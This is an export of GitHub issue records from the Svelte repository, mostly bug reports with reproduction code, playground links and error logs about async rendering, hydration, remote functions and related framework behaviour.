sveltejs/svelte,3842811599,Browser freeze for <svelte:boundary>,"### Describe the bug

When you load a page with a `<svelte:boundary>` and a slow `await`, and before the await finishes you attempt to start loading another `await`, the browser freezes. (I'm using Chrome)

This behavior started in Svelte 5.45.9. Svelte 5.45.8 works.

### Reproduction

Link for reproduction: https://svelte.dev/playground/f2263d72f7c84c4da304af33320ccd53?version=5.48.0

Click Page 2, then immediately click Page 1.

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

blocking an upgrade",,2026-01-22T12:51:31Z,2026-01-26T16:46:35Z,2
sveltejs/svelte,3842868900,Using `$inspect` rune with remote functions causes internal error in the build,"### Describe the bug

Using `$inspect` rune with remote functions in a page is causing internal error when the build is run.

### Reproduction

Enable experimental `async` and `remoteFunctions`
```typescript
import adapter from '@sveltejs/adapter-node';

/** @type {import('@sveltejs/kit').Config} */
const config = {
	kit: {
		adapter: adapter(),
		experimental: {
			remoteFunctions: true
		}
	},
	compilerOptions: {
		sourcemap: process.env.NODE_ENV === 'development',
		experimental: {
			async: true
		}
	}
};

export default config;
```

Create a remote function
```typescript
//$lib/remote/items.remote.js

import { query } from '$app/server';

export const getItem = query(() => {
	return {
		x: ""Hello World""
	}
});
```
 
Create `+page.svelte` file
```svelte
<script lang=""ts"">
    //./src/routes/items/+page.svelte
	import { getItem } from '$lib/remote/items.remote.js';

	const item = $derived(await getItem());
	let a = $state(5);
    //comment below line if the build has to work properly
	$inspect(a);
</script>

<br />

<button onclick={() => {a++}}>
	incr
</button>
<br />
{item.x}
<br />
{a}
```

- Run `pnpm build`
- Run `pnpm preview`
- Try to open http://[localhost:4173/items](http://localhost:4173/items) in browser
- Reproducable repo: [sukeshpabolu/remote-inspect-bug-app](https://github.com/sukeshpabolu/remote-inspect-bug-app)

### Logs

```Shell
[500] GET /items
TypeError: fn is not a function
    at file:///C:/Users/sukeshp/Documents/remote-inspect-bug-app/.svelte-kit/o... [TRUNCATED]",,2026-01-22T12:17:58Z,2026-03-17T11:49:29Z,4
sveltejs/svelte,3837736140,Looking forward to switching to TSGO,"### Describe the problem

TSC is slow

### Describe the proposed solution

TSGO is so much faster, how can we switch?

### Importance

would make my life easier",,2026-01-21T11:07:56Z,2026-01-21T11:30:04Z,1
sveltejs/svelte,3836290901,getting error `name.toLowercase() is not a function` when using svelte-element this attribue,"### Describe the bug

I looked recenty at the [docs](https://svelte.dev/docs/svelte/svelte-element) and the [tutorial](https://svelte.dev/tutorial/svelte/svelte-element) which states: 

>The `this` value can be any string, or a falsy value — if it’s falsy, no element is rendered.

When trying to use `svelte-element` `this` attribute to hide an value based on if it is a boolean or not I get the error `name.toLowerCase() is not a function` from vite. I do not know what caused this but since it's from [here](https://github.com/sveltejs/svelte/blob/2eb54f57ae9b2411a40f10266133356ab647d907/packages/svelte/src/utils.js#L40), I assume that svelte is responsible for this error. 

Here I include a snippet of what I think caused the problem(since it doesn't trigger without it) and the error message from vite in the logs

### Reproduction

```svelte
<script lang=""ts"">
	type Options = {
		showYear: boolean;
		showMonth: boolean;
		headerNameLength: number;
		includeSwitchMonth: boolean;
	};
	type Props = {
		options?: Partial<Options>;
	};

	const defaultOption: Options = {
		showYear: true,
		showMonth: true,
		headerNameLength: 2,
		includeSwitchMonth: true,
	};

	let { options = defaultOption }: Props = $props();

	function option<K extends keyof Options>(option: K): Options[K] {
		return options[option] ?? defaultOption[option];
	}
</script>

<!-- Some other components -->
<svelte:element this={option(""includeSwitchMonth"")}>
	<!-- Some buttons -->
</svelte:element>


### Logs

```she... [TRUNCATED]",,2026-01-21T02:31:42Z,2026-01-21T23:40:10Z,1
sveltejs/svelte,3835529727,Use `.equals()` to evaluate if a `$derived` should trigger recomputation of dependencies,"### Describe the problem

```typescript
let seedDateTemporal = $state(Temporal.PlainDate.from(""2026-01-01""));
const weekStartTemporal = $derived(
    seedDateTemporal.subtract({ days: seedDateTemporal.dayOfWeek }),
);
```

If `seedDateTemporal` is updated to Jan 2nd, any dependencies of `weekStartTemporal` will rerun even though the value hasn't changed, just the objects don't referentially match.

### Describe the proposed solution

It would be nice if, in addition to `===`, Svelte also check if the new derived object has an `.equals()` method.  If it does, pass the old value as the first parameter and if the response equals `true` then don't mark the children of the derived as dirty.

Something like this:
```javascript
function safeEqualsCheck(obj1, obj2) {
    try {
        if (obj1 === obj2 || obj1.equals(obj2) === true) {
            return true
        }
    } finally {
        return false
    }
}
```

### Importance

would make my life easier",,2026-01-20T21:27:11Z,2026-01-20T22:16:51Z,1
sveltejs/svelte,3833593134,CSS hashes are unchanged even though output CSS is changed,"### Describe the bug

The CSS hash is, by default, computed based on the contents of `<style>`. But this isn't the only thing that determines the output CSS — if an element goes from unused to uses, the output CSS will reflect that but the hash won't.

In esoteric setups, this can mean that updated styles aren't applied to new elements

### Reproduction

Uncomment the `<h2>` [here](<https://svelte.dev/playground/hello-world?version=5.47.1#H4sIAAAAAAAAE22PsU7EMAyGX8VkAolyuo6lqoRY2G-kDKHxNZFcO2pcyqnqu5NejwUxWf78-Ze9GLYDmsq8IZHALCM5uEcXFN2DeTTnQJhM9b4YvcTN20Dmt62XGJ_SF5Ju7NMm_I93woqsOcbU_tgIY33IteWW67uigIk7GYZsgAokRHg9nUAmjZNC5y33CHNQnwl4m_zOAvdQFM0tovZlo7Pk3LLZcat5lPRCeG38EZYr1E5IxgriNEbC542t2yVZKf8ovZBDHsX9WvVhD8w_KX6rqXSccP3InQ00B3amOltKuP4AJ2WlzlYBAAA>) while the CSS Output tab is selected

```svelte
<h1>one</h1>

<!-- uncomment to see CSS output change without hash changing -->
<!-- <h2>two</h2> -->
	
<style>
	h1 {
		color: purple;
	}

	h2 {
		color: goldenrod;
	}
</style>
```",,2026-01-20T12:46:52Z,2026-01-20T13:48:41Z,3
sveltejs/svelte,3831669835,`unmount` breaks event delegation if event is already attached to `mount` target,"### Describe the bug

The `unmount` logic removes handlers from the target element, but if the target element is e.g. the `document.body` this can lead to event delegation no longer working properly.

For document listeners there is some logic that checks whether the listener is still needed but there is no check for the `target`.

https://github.com/sveltejs/svelte/blob/2eb54f57ae9b2411a40f10266133356ab647d907/packages/svelte/src/internal/client/render.js#L250-L262

Still, some fairly specific conditions need to be met for this bug to occur, e.g. with SvelteKit the default wrapper `div` in `app.html` seems to cause handlers to be attached there instead of on the body, so the issue disappears.

The component with the handler also needed a forwarding instruction (e.g. `on:click` in my case), otherwise the event handler did not exist before the `mount`. (I observed this issue with `carbon-components-svelte`, which ships in syntax for Svelte 3/4 compatibility, hence it has a lot of manual event forwarding.)

### Reproduction

[Playground](https://svelte.dev/playground/b060bdbc730d436696dbe72a5135698f?version=5.47.1)

<details>
<summary>Standalone code/steps</summary>

```svelte
<script>
	import { mount, unmount } from 'svelte';
	import Dialog from './dialog.svelte';
	import Button from './button.svelte';

	function onClick() {
		const dialog = mount(Dialog, {
			target: document.body,
			props: {},
			events: { close() { unmount(dialog); } },
		});
	}
</script>

<Button onclick=... [TRUNCATED]",,2026-01-20T01:26:13Z,2026-02-13T16:35:05Z,1
sveltejs/svelte,3825210745,let value = $derived(store.value) does not seem to work in all cases,"### Describe the bug

I have a store that contains an array

I update the array and call store.set, every subscriber to the store get the new value, no problem there

but now I want to use it via ` $derived` rune like so

```ts
const elements = $derived($localState.elements);
```

and here the derived value do not get updated when store get updated

### Reproduction

see reproduction and see commented code where I use `$effect` to make it work : https://svelte.dev/playground/db42d498c17941a89e33680f3b3d58a8?version=latest

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (16) x64 AMD Ryzen 7 PRO 6850U with Radeon Graphics
    Memory: 7.14 GB / 30.13 GB
    Container: Yes
    Shell: 4.0.2 - /usr/bin/fish
  Binaries:
    Node: 24.11.1 - /home/wighawag/.volta/tools/image/node/24.11.1/bin/node
    Yarn: 1.22.22 - /home/wighawag/.volta/tools/image/yarn/1.22.22/bin/yarn
    npm: 11.6.2 - /home/wighawag/.volta/tools/image/node/24.11.1/bin/npm
    pnpm: 10.24.0 - /home/wighawag/.volta/bin/pnpm
    bun: 1.3.4 - /home/wighawag/.bun/bin/bun
  Browsers:
    Chrome: 143.0.7499.146
    Firefox: 140.6.0esr
    Firefox Developer Edition: 140.6.0esr
```

### Severity

annoyance",,2026-01-17T13:42:44Z,2026-01-19T09:11:05Z,2
sveltejs/svelte,3815507029,"`""svelte/store""` with Asynchronous Svelte freezes the browser","### Describe the bug

> Related discussion: #15845 

Using an {#await} block inside an {#each} block that iterates over a legacy readable store causes the browser to freeze/crash due to a microtask loop.

It seems that {#await} is re-triggering the promise creation function infinitely because the function returns a new Promise reference every time, and the reactivity system re-evaluates it aggressively.

### Reproduction

This code snippet freezes the browser:

```svelte
<script module lang=""ts"">
  import { readable, type Readable } from ""svelte/store"";

  interface Entity {
    id: string;
  }

  export function f(): Readable<Entity[]> {
    return readable([{ id: crypto.randomUUID() }], (_set, update) => {
      const timer = setInterval(() => {
        update((x) => [...x, { id: crypto.randomUUID() }]);
      }, 1000);

      return () => clearInterval(timer);
    });
  }

  export async function query(entity: Entity): Promise<number[]> {
    return Promise.resolve([1, 2, 3]);
  }
</script>

<script lang=""ts"">
  const entities = f();
</script>

<ul>
  {#each $entities as entity (entity.id)}
    <li>{entity}</li>

    <ul>
      {#each await query(entity) as value}
        <li>{value}</li>
      {/each}
    </ul>
  {/each}
</ul>
```

But this works (using `{#await}`):

```svelte
<script module lang=""ts"">
  import { readable, type Readable } from ""svelte/store"";

  interface Entity {
    id: string;
  }

  export function f(): Readable<Entity[]> {
    return readable([{ id: ... [TRUNCATED]",,2026-01-15T01:07:23Z,2026-01-25T15:16:46Z,0
sveltejs/svelte,3813037472,Allow prop type as type argument for $props(),"### Describe the problem

Currently $props() has type `any` and one has to add type to the return model.
```svelte
<script lang=""ts"">
	interface Props {
		adjective: string;
	}
	let { adjective }: Props = $props();
</script>
```

### Describe the proposed solution

I would prefer to add the type as a type argument instead.
```svelte
<script lang=""ts"">
	interface Props {
		adjective: string;
	}
	let { adjective } = $props<Props>();
</script>
```

### Importance

nice to have",,2026-01-14T12:37:27Z,2026-01-14T12:41:39Z,1
sveltejs/svelte,3812671184,Svelte boundary doesn't mark his path has dynamic,"### Describe the bug

If you have a completely static svelte boundary right not the content is not shown at all. I've already fixed it in #17429 but I'll open a separate PR so we can merge it regardless.

```svelte
<div>
	<svelte:boundary>
		<div>cool</div>
	</svelte:boundary>
</div>
```

### Reproduction

1. visit this [repl](https://svelte.dev/playground/hello-world?version=5.46.3#H4sIAAAAAAAAE22LSwrCMBCGr1L-lUKw-xAEd97BukibKQTGpDTTF6V3l7ToRrffY0WwL4LGnZhjMcWeXXEi54XcGQqtZ0rQjxWydLnLAOpz3brukkZiyay2if7xJgahIAkaxvnxWoVKzGF1HYfgbL_ssJLdNzGyKb9l-ZseFgpCs0BLP9D2VBDrefLBQbeWE21vUBSVZN0AAAA)
2. see that nothing is rendered

### Logs

```shell

```

### System Info

```shell
repl
```

### Severity

annoyance",,2026-01-14T10:57:24Z,2026-01-16T21:35:06Z,0
sveltejs/svelte,3812655352,Hydration mismatch if blocks that don't change hydration nodes are inside a normal tag,"### Describe the bug

While working on #17429 I found that if you have something like this

```svelte
<select>
	{#snippet test()}
		some snippet
	{/snippet}
	<option>cool</option>
</select>
```
our compiler pushes a reset since the snippet select doesn't contain only text

https://github.com/sveltejs/svelte/blob/6d90b96e990d9dd45f55effb4431393c3e610937/packages/svelte/src/compiler/phases/3-transform/client/visitors/RegularElement.js#L358-L360

But in this case, the snippet doesn't set `hydrate_node` (since it's just declared) meaning the reset will throw an hydration mismatch.

### Reproduction

1. visit https://www.sveltelab.dev/o603gnio0hx8z93
2. check the console
3. verify the hydration mismatch is logged

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2026-01-14T10:53:39Z,2026-01-16T21:33:12Z,0
sveltejs/svelte,3800271713,Await before $props throws during compile,"### Describe the bug

The compiler throws when you use `await` before `$props()` in a Svelte component. 

### Expected

It should fail gracefully (i.e. with a warning) if the pattern is not allowed instead of erroring, or not at all if syntax is valid.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.46.1#H4sIAAAAAAAACm2MMQvCMBBG_0o4HFoICuIUq-Dm6G4dYnPFwDUJubNVSv-7ZNDJ9X3vfTMEOyAYOCNRVFPM5FSFzgu6GjT0npDBXGeQdypeAaC_1SmlNY9IUtjdMv7jXQyCQRgMNNxln-TYhlbsZL2oS46DZ1xn5EgjVrttvS9rFwOLmlX38OQyBrWog1qlHBNXxWg2vyvQIPgSMJKfuNw0iPU0-eDA9JYYlw_HayEH5QAAAA

### Logs

```shell
N/A
```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-01-10T19:49:57Z,2026-01-23T21:43:32Z,0
sveltejs/svelte,3800267626,bind:this Fails (NULL) in Child Components When Parent Layout Contains Async Operations,"### Describe the bug

### Summary
`bind:this` with `$state` returns `null` in child components when the parent `+layout.svelte` contains or references async operations, even after the component is fully mounted in the DOM.

### Reproduction

**`+layout.svelte` (broken - async present)**
```svelte
<script>
	let { children } = $props();
	
	const fetchItems = async () => {
		await new Promise(resolve => setTimeout(resolve, 100));
		return [{ id: '1', label: 'Item' }];
	};
	
	// Even just declaring the async fn breaks child bind:this
</script>

{@render children?.()}
```

**`+page.svelte`**
```svelte
<script>
	let el = $state(null);
</script>

<h1 bind:this={el}>test</h1>

<pre>element: {el ?? 'still not bound'}</pre>
```

**Result:** `el` stays `null` permanently.

---

**`+layout.svelte` (working - no async)**
```svelte
<script>
	let { children } = $props();
</script>

{@render children?.()}
```

**Result:** `el` correctly binds to the `<h1>` element.

### Expected Behavior
`bind:this` should populate the `$state` variable with the DOM element regardless of async operations in parent layouts.

### Actual Behavior
The bound variable remains `null` when parent layout contains async functions.

### Environment
- Svelte 5
- SvelteKit

### Reproduction

https://www.sveltelab.dev/z8fx2dm5hl69pdq

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (10) arm64 unknown
    Memory: 6.42 GB / 15.35 GB
    Cont... [TRUNCATED]",awaiting submitter,2026-01-10T19:45:06Z,2026-03-16T12:11:22Z,3
sveltejs/svelte,3800210855,Can't use snippet in `{@const}`,"### Describe the bug

It's no longer possible to reference snippets in `{@const}` declarations.

This bug appeared when upgrading Svelte, it seems to have been introduced in [5.38.0](https://github.com/sveltejs/svelte/releases/tag/svelte%405.38.0) as this is the earliest version I can reproduce it in, possibly caused by #16542.

### Reproduction

[Playground link](https://svelte.dev/playground/4c945d6b09534f8c8341f42f7af399d7?version=5.38.0) (change to any earlier version and it works)

### Logs

```shell
can't access lexical declaration 'two' before initialization in <unknown> in App.svelte in __wrapper.svelte
```

### System Info

```shell
-
```

### Severity

blocking an upgrade",,2026-01-10T18:51:08Z,2026-01-22T18:30:46Z,0
sveltejs/svelte,3799546500,"`{@html await ...}` fails to hydrate (TypeError: can't access property ""nodeType"", node is null)","### Describe the bug

Hi!

The following code will fail to hydrate:

```svelte
<div>{@html await Promise.resolve(`<span>Foo</span>`)}</div>
```

with the following error on page load:

```
Failed to hydrate:  TypeError: can't access property ""nodeType"", node is null
  in <unknown>
  in +layout.svelte
  in root.svelte
    skip_nodes /node_modules/.vite/deps/chunk-KMT2UU7B.js?v=e3c9e892:4315
    async /node_modules/.vite/deps/chunk-U7GRKH4V.js?v=e3c9e892:468
    _page /src/routes/+page.svelte:18
    effect2 /node_modules/.vite/deps/chunk-U7GRKH4V.js?v=e3c9e892:313
    update_reaction /node_modules/.vite/deps/chunk-KMT2UU7B.js?v=e3c9e892:3434
    update_effect /node_modules/.vite/deps/chunk-KMT2UU7B.js?v=e3c9e892:3562
```


### Reproduction

1. Open https://www.sveltelab.dev/w1b7sa6ng33f484
2. Check the browser console

### Logs

```shell

```

### System Info

```shell
Svelte 5.46.1
```

### Severity

annoyance",,2026-01-10T11:20:54Z,2026-01-23T22:08:11Z,0
sveltejs/svelte,3796695958,bun run build prints “done” but the process hangs and never exits.,"### Describe the bug

bun run build prints “done” but the process hangs and never exits.

### Reproduction

[my-app.zip](https://github.com/user-attachments/files/24526624/my-app.zip)

### Logs

```shell
$ bunx --bun vite build
vite v7.3.1 building ssr environment for production...
✓ 217 modules transformed.
vite v7.3.1 building client environment for production...
✓ 187 modules transformed.
.svelte-kit/output/client/_app/version.json                                                         0.03 kB │ gzip:  0.05 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-symbols2-400-normal.CpeG9ob9.woff         4.47 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-symbols2-400-normal.C6JptOil.woff2        5.03 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-greek-ext-400-normal.BQ5yw6bY.woff        6.62 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-cyrillic-400-normal.DUd3efVn.woff         7.43 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-greek-ext-400-normal.Be4g_LSk.woff2       7.56 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-greek-400-normal.B_0AmgK7.woff            8.48 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-cyrillic-400-normal.BJkDdjbt.woff2        9.32 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-latin-ext-400-normal.CbD3vWRE.woff        9.89 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-greek-400-normal.ftNhKy_S.woff2          10.53 kB
.svelte-... [TRUNCATED]",,2026-01-09T12:02:53Z,2026-01-12T07:54:40Z,1
sveltejs/svelte,3794702636,Rendering <svg> with a <sup> inside {@html} is broken,"### Describe the bug

This is supposed to work, right?

https://svelte.dev/playground/7de627c943214d6f9547ce84104ad11f?version=5.46.1

The svg seems correct: https://d3rybyofuhagdh.cloudfront.net/753873e4-59f1-4e19-801a-3291b79bcfed/190_135.svg

but when rendered, I get
```html
<div class=""hello"">

<svg width=""800"" height=""600"" viewBox=""0 0 800 600"" xmlns=""http://www.w3.org/2000/svg"">
  <!-- Title -->
  <text x=""400"" y=""40"" font-size=""28"" text-anchor=""middle"" font-weight=""bold"" fill=""#333"">e</text></svg><sup>iθ</sup> = cos θ + i sin θ

[... the rest of the svg...]
```

Note the added closing svg tag after `</text>`, which of couses breaks the rendering.
This seems to be triggered by the `<sup>iθ</sup>`. if I remove it, the svg is rendered correctly.

### Reproduction

https://svelte.dev/playground/7de627c943214d6f9547ce84104ad11f?version=5.46.1


### Logs

```shell

```

### System Info

```shell
Playground, 5.46.1
```

### Severity

blocking all usage of svelte",,2026-01-08T22:39:05Z,2026-01-08T23:27:29Z,2
sveltejs/svelte,3792679161,Possible regression from #17258: {#each} null ref after push() on Proxy array (Svelte 5.45.5+),"### Describe the bug

Array used in [runed](https://github.com/svecosystem/runed)'s [`PersistedState`](https://github.com/svecosystem/runed/tree/main/packages/runed/src/lib/utilities/persisted-state) is broken after svelte `5.45.5`

I don't know how to describe, so read the code in reproduction for the information

Can mostly confirmed it is caused by PR #17258, I made a minimal code to reproduce this issue in svelte playground

### Reproduction

1. use following code:
```svelte
<script>
	import { createSubscriber } from ""svelte/reactivity"";

  let notify = null;
  const subscribe = createSubscriber((update) => {
    notify = update;
    return () => notify = null;
  });

	const arr = new Proxy([], {
		get: (target, property) => {
			subscribe();
			return Reflect.get(target, property);
		},
		set: (target, property, value) => {
			notify?.();
			Reflect.set(target, property, value);
			return true;
		},
	});

  let i = 0;
</script>

{#each arr as item}
	{item}
{/each}

<button onclick={()=>arr.push(++i)}>add</button>
```

2. Click `add`

Working: https://svelte.dev/playground/063a3fb7f99443268f2f072b83a68e26?version=5.45.4

Broken: https://svelte.dev/playground/063a3fb7f99443268f2f072b83a68e26?version=5.45.5


### Logs

```shell
TypeError: Cannot read properties of null (reading 'start')
    at move (playground:output:5737:47)
    at reconcile (playground:output:5554:6)
    at commit (playground:output:5377:4)
    at #resolve (playground:output:1213:46)
    at Batch.process ... [TRUNCATED]",,2026-01-08T12:25:14Z,2026-01-27T22:47:48Z,2
sveltejs/svelte,3790263638,Migration docs seem out-of-date regarding event passive option,"### Describe the bug

According to the docs on [events](https://svelte.dev/docs/svelte/basic-markup#Events), `ontouchstart` and `ontouchmove` are the events which are passive. But the [migrations docs](https://svelte.dev/docs/svelte/v5-migration-guide#Breaking-changes-in-runes-mode-Touch-and-wheel-events-are-passive) are out-of-date:

>When using onwheel, onmousewheel, ontouchstart and ontouchmove event attributes, the handlers are [passive](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#using_passive_listeners) to align with browser defaults.

PR and release that introduced the discrepancy:
  - https://github.com/sveltejs/svelte/pull/13322
  - https://github.com/sveltejs/svelte/releases/tag/svelte%405.0.0-next.253

### Reproduction

https://svelte.dev/playground/533fefea4fff4c9885c0d6164aef71ea?version=5.46.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (8) x64 Intel(R) Core(TM) i7-8665U CPU @ 1.90GHz
    Memory: 13.90 GB / 31.82 GB
  Binaries:
    Node: 22.12.0 - C:\Users\Stephen\AppData\Local\fnm_multishells\9916_1767807558785\node.EXE
    npm: 10.9.0 - C:\Users\Stephen\AppData\Local\fnm_multishells\9916_1767807558785\npm.CMD
  Browsers:
    Chrome: 143.0.7499.170
    Edge: Chromium (140.0.3485.54)
    Internet Explorer: 11.0.26100.7309
```

### Severity

annoyance",documentation,2026-01-07T20:34:22Z,2026-02-06T16:03:16Z,0
sveltejs/svelte,3779109280,Custom element's exported functions are not available synchronously,"### Describe the bug

Custom element's method defined by using `export function` in a svelte component, are not available synchronously. This fails the usage of the element's api immediately after mounted.


### Reproduction

https://stackblitz.com/edit/spvqcm-9amgs8wx?file=src%2Fexample%2FApp.svelte,src%2Fexample%2FComponent.svelte

### Logs

```shell

```

### System Info

```shell
Not related
```

### Severity

annoyance",custom element,2026-01-04T10:46:40Z,2026-01-04T12:35:59Z,1
sveltejs/svelte,3921152988,Crash when binding to factory function using remote functions,"### Describe the bug

When binding to a factory function like this: `<input value={factory(), () => } />`, where `factory` returns a function using the response of a remote function, the app crashes:

<img width=""1177"" height=""153"" alt=""Image"" src=""https://github.com/user-attachments/assets/4fcfde27-1e49-4cf4-80e5-bfb1dc0a7ea1"" />

### Reproduction

https://svelte.dev/playground/hello-world?version=5.50.1#H4sIAAAAAAAACpWQQWrDMBBFrzIdurDBbvaubeim9A5VF7I0oSLKyEjjOMH47kXFaTF00-3n_felWZD1mbDBN_I-wByit1CQdUK2xAqPzlPC5n1BuY2ZywFW99bLOD6lC3nJ2aAT_ZWbwEIsCRtsk4lulF6xEk8C5pPMiSx08GgpugvZQs_aCUicqHxWnEETOP2gr9pIiDfooCih62HJhJJIMkXesg3NdVkVt4ffVW4f6hqO2vkEdd0rbh2Pk0D-XafwuzmEq0IYHNtmM3XLfr0oq_v8usKh37RziKf_aXfv3TuxQqGrYJNPsX5UKNr52bHF5qh9ovULponIFbsBAAA

<!--
Earlier reproduction; remote functions not needed for this to reproduce:

https://www.sveltelab.dev/a1ttnp34o9y3388

This is all that it takes:

```ts
// data.remote.ts
import { query } from ""$app/server"";

export const getChecked = query(async () => {
	return true;
});
```

```svelte
<script>
	// +page.svelte
	import { getChecked } from './data.remote.js';

	let checked = $derived(await getChecked());

	const checkedFactory = () => {
		return () => checked;
	}
</script>

<input type=""checkbox"" bind:checked={checkedFactory(), () => {}} />
```
-->

Note that this works:

```svelte
<input type=""checkbox"" bind:checked={() => checked, () => {}} />
```

### Logs

```Shell

```

### System Info

```Shell
System:
    OS: Linux 5.0 undefin... [TRUNCATED]",,2026-01-02T08:08:41Z,2026-02-11T15:25:16Z,1
sveltejs/svelte,3768699535,async svelte bug with remote function,"### Describe the bug

if i use remote  function at the top it will failed but does not fail if  it is at the end of script tag


### Reproduction

https://svelte.dev/playground/hello-world?version=5.46.1#H4sIAAAAAAAACm2OQUvEMBBG_8oweEig6Hqt28LePHo3HsZmCoHspCST7Urpf5dUxIvX930P3oZCV8YeXznGBGvK0YNhH5S9xQ7nELlg_76hfi3t1wB2v9ZlWR7LjaM29kmF_-NTEmXRgj2ey5TDoqMTp04jKzQBBnjwnMONvaGVgoLwCm85XUNhQ8NIxiERObTWvjS3mVOqok0tSsrm9LPAXGXSkARqYWNhOyBk1poFjIVhhGcnAHsbpiRFgWg4zk6OLjk__WXK1gp3JxuRsU0S7FD5rthrrrx_dKgU4hrEYz9TLLx_A4tO23JVAQAA

### Logs

```shell
about:srcdoc:1  Uncaught (in promise) TypeError: fn is not a func

	in <unknown>
	in __wrapper.svelte

    at update_reaction (playground:output:4074:17)
    at execute_derived (playground:output:2514:13)
    at update_derived (playground:output:2530:15)
    at get (playground:output:4366:5)
    at Array.map (<anonymous>)
    at eval (playground:output:3597:52)
    at update_reaction (playground:output:4074:17)
    at update_effect (playground:output:4249:19)
    at create_effect (playground:output:3473:5)
    at eval (playground:output:3597:4)
about:srcdoc:1  Uncaught (in promise) TypeError: fn is not a function

	in <unknown>
	in __wrapper.svelte

    at update_reaction (playground:output:4074:17)
    at execute_derived (playground:output:2514:13)
    at update_derived (playground:output:2530:15)
    at get (playground:output:4366:5)
    at Array.map (<anonymous>)
    at eval (playground:output:3597:52)
    at update_reaction (playground:o... [TRUNCATED]",,2025-12-30T01:15:02Z,2026-03-17T12:45:23Z,0
sveltejs/svelte,3768693880,"""pm grant by4a.setedit22 android.permission.WRITE_SECURE_SETTINGS""","### Describe the problem

""pm grant by4a.setedit22 android.permission.WRITE_SECURE_SETTINGS""

### Describe the proposed solution

""pm grant by4a.setedit22 android.permission.WRITE_SECURE_SETTINGS""

### Importance

nice to have",,2025-12-30T01:10:55Z,2025-12-30T02:50:51Z,0
sveltejs/svelte,3774987024,Falsy component produces Internal error,"### Describe the bug

Although Svelte documentation [states](https://svelte.dev/docs/svelte/legacy-svelte-component) that a falsy value is acceptable and the component simply doesn't render, in SvelteKit a falsy value results in an error.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-6qvfvh6n?file=src%2Froutes%2F%2Bpage.svelte

+page.svelte

```svelte
<script>
	let Component = $state();
</script>

<h1>Falsy component test</h1>

<Component/>
```

Console:

```bash
[500] GET /
TypeError: Component is not a function
    at eval (src/routes/+page.svelte:19:4)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:198:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:223:22)
    at _page (src/routes/+page.svelte:10:13)
    at eval (.svelte-kit/generated/root.svelte:73:7)
    at eval (src/routes/+layout.svelte:19:4)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:198:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:223:22)
    at _layout (src/routes/+layout.svelte:10:13)
```

### Logs

```Shell

```

### System Info

```Shell
SvelteKit 2.49.1
```

### Severity

serious, but I can work around it

### Additional Information

_No response_",,2025-12-29T09:46:28Z,2026-01-26T15:29:13Z,4
sveltejs/svelte,3766709813,Button and selectedcontent slot not supported when using customizable select,"### Describe the bug

When using the customizable select API, you have the option to provide a custom button to be slotted in, allowing you to, for example, style the currently selected content inside the button.

```html
<select>
	<button>
		<selectedcontent></selectedcontent>
	</button>

	{#each options as option}
		<option value={option.value}>{option.label}</option>
	{/each}
</select>
```
(A more complete example can be found in [this playground](https://developer.mozilla.org/en-US/play?uuid=8d56bbf11f0a77edc312d6c3c2c8f1e89904cb7b&state=tVbBjts2EP2VARcFNoW1lhdBsWW0BooWRY4FcuWFEkcSY4okSHrXTpBPKNoCPfSWb%2BilSH6nP9B%2BQkFR0sq7TgIbqADDEvnezNPM8NlvSRs6RSgpauO6NdMAhe2%2FAArFS1RQG3fLiMWQeVRYBUbWr%2FobsBhosexRIyVBQIrHlLQPUJTbEIyenicOisrogDqsi%2BXjlYm8nNjTkrFBGg13XG3xlhFG1j8p5B5hkMKjzGKZYOtP0So%2BFxlFWa6hUtz7W0ZkZTQjwJ3kWSuFQH3LSHBbZGT97%2Ftf%2FyyWEf7AXh%2FSU66sLxQj6%2B95SITZe31BnjDN%2BfL%2BOk3eD6Y5VV7LOx%2FQnS%2Fx42kSX6Z8p8qsWlltUJ8v8%2FcTG53ynSqzlr49X%2BP70zT%2BKH17qkCv%2BQbPV%2FjzaQpfxWyflzg6RvKvZTSwYjkYGlmQyntCSYIsmKbUxr64y7TyDN5GGrcWueO6Qgol9zhY1wum3zH9dcKUZpd5%2BUbqhkJpnECXlWaXIExHJ0242uiQ1byTak%2BBkZeo7jDIijOyAEa%2Bc5KreOu59plHJ%2BsxRGnEPoW4lyK0FFZ5%2FtWL%2BGy5EH3eHFa53fVrHd9lA%2B75zcOia6SOOL4NZtJ2PVPm5RuksLq6dtiNAJv2hfRW8T2FWmGK13BLx5Q9Mv0qzEXWMmSDVfcUrmSjY%2F1qChXqgG7kDp6cpCjcUVilrflGqiyFa7sDb5QUcCH6qw9e8mrTOLPVgsIF9tdhgabyBMe1l3FMKORXz%2F2hCNqaO3SL6bE21dYPAuYpptSTynF%2BsjjniVEZZRyFi2%2F762h2cCbwgAeBjEV9JFpCUljd5AKbxDg%2BtGOptNFD5OGofqKZr7c%2ByHo%2FdivtZD5wFx6afZ0K%2BP%2... [TRUNCATED]",,2025-12-29T07:55:33Z,2025-12-29T09:56:31Z,1
sveltejs/svelte,3763720118,[Async] Transition animations break with experimental.async enabled due to premature {#if} evaluation,"### Describe the bug

First, a quick note: the unusual implementation in the REPL is necessary for bind:offsetWidth to work correctly in my use case, though this detail isn’t directly relevant to the issue at hand.

**Issue Summary**:
